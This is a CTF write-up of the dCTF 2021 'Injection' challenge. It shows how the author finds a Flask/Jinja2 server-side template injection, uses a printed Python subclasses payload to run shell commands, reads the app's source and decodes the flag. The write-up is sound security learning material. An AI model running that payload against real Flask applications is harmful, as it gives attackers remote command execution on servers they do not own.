dCTF 2021: Injection
Finding a Flask/Jinja SSTI, reading source files, and decoding the final password.
Original challenge writeup: Injection.md
Challenge URL: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

The site had an admin login with User, Password, and a hidden Submit field.
Submitting anything did not work. It redirected to /login, where the page returned:
Oops! Page login doesn't exist :(
I was stuck on this one for a while. I checked robots.txt, tried common directories, and looked around the root path where the image was stored, but I did not find anything useful.
Eventually I noticed that the site reflected whatever path I requested inside the 404 response, even simple XSS input:

At first I thought this might be SQL injection, which slowed me down because I barely knew any SQLi at the time.
After reading a few CTF writeups with similar behavior, I found the keyword I needed: SSTI.
I had already read about SSTI before this challenge, but I did not make the connection right away.
Finding SSTI
I tried this:
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}
The response was:
Oops! Page 2 doesn't exist :(
That confirmed the template expression was being evaluated.
Next, I tried:
{{config}}
That returned a lot of data, including this message:
'MESSAGE': 'You are getting closer!'
From there, the goal was to turn the SSTI into command execution. The payload I ended up using was:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}
COMMAND is the command to run.
Running ls returned:
app.py
lib
static
templates
Running ls lib returned:
security.py
Then I read the file with cat lib/security.py:
import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
The password was base64 encoded, reversed, and stripped of leading = padding. To decode it, I reversed it back and added the padding:
base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'
That gave me the flag.
Notes
SSTI payloads can be very environment-dependent. Most of the payloads I found online did not work here, so I had to adapt one myself.
This Medium article was the most useful reference I found while working through it:
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
The final payload I used was:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}